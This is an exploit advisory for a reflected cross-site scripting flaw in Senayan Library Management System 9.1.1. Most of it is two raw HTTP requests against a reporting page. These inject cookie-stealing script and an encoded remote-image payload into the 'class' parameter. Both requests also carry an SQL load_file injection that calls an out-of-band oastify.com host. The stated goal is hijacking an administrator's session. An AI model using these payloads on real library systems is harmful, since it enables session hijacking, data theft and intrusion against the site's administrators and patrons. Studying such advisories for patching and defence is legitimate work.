Senayan Library Management System 9.1.1 Cross Site Scripting

## Title: Senayan Library Management System v9.1.1 a.k.a SLIMS 9 XSS-Reflected - PHPSESSID Hijacking + inserting webp image## Author: nu11secur1ty## Date: 12.17.2022## Vendor: https://slims.web.id/web/## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.1.1## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.1.1## Description:The value of the `class` request parameter is copied into the HTMLdocument as plain text between tags.The payload ytrrh<script>alert(1)</script>z3nj2 was submitted in theclass parameter. This input was echoed unmodified in the application'sresponse.The attacker can trick some authenticated user to visit his page andgive to him very sensitive information about the system.## STATUS: HIGH Vulnerability[+] Payloads:0.0```GETGET /slims9_bulian-9.1.1/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=nu11secur1ty<script>alert(document.cookie)</script>&membershipType=a%27%27&collType=aaaa%27%2b(select%20load_file(%27%5c%5c%5c%5cdctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.oastify.com%5c%5cwtf%27))%2b%27HTTP/1.1Host: pwnedhost.comUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: SenayanAdmin=v37jtjmmhl46f8tge63h37nin1; admin_logged_in=1Connection: close```0.1```GETGET /slims9_bulian-9.1.1/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=%3c%64%69%76%3e%3c%69%6d%61%67%65%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%72%61%77%2e%67%69%74%68%75%62%75%73%65%72%63%6f%6e%74%65%6e%74%2e%63%6f%6d%2f%6e%75%31%31%73%65%63%75%72%31%74%79%2f%58%53%53%69%67%68%74%2f%6d%61%73%74%65%72%2f%58%53%53%2d%69%6d%61%67%65%2f%69%6d%61%67%65%2f%6b%6f%73%74%61%61%6b%61%74%69%6c%2e%77%65%62%70%20%6f%6e%6c%6f%61%64%73%74%61%72%74%3d%61%6c%65%72%74%28%31%33%33%37%29%3e%68%65%6c%6c%6f%20%66%72%6f%6d%20%6e%75%31%31%73%65%63%75%72%31%74%79%3c%2f%64%69%76%3e&membershipType=a%27%27&collType=aaaa%27%2b(select%20load_file(%27%5c%5c%5c%5cdctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.oastify.com%5c%5cwtf%27))%2b%27HTTP/1.1Host: pwnedhost.comUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: SenayanAdmin=v37jtjmmhl46f8tge63h37nin1; admin_logged_in=1Connection: close```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.1.1)## Proof and Exploit:[href](https://streamable.com/ibdulr)## Time spent`01:30:00`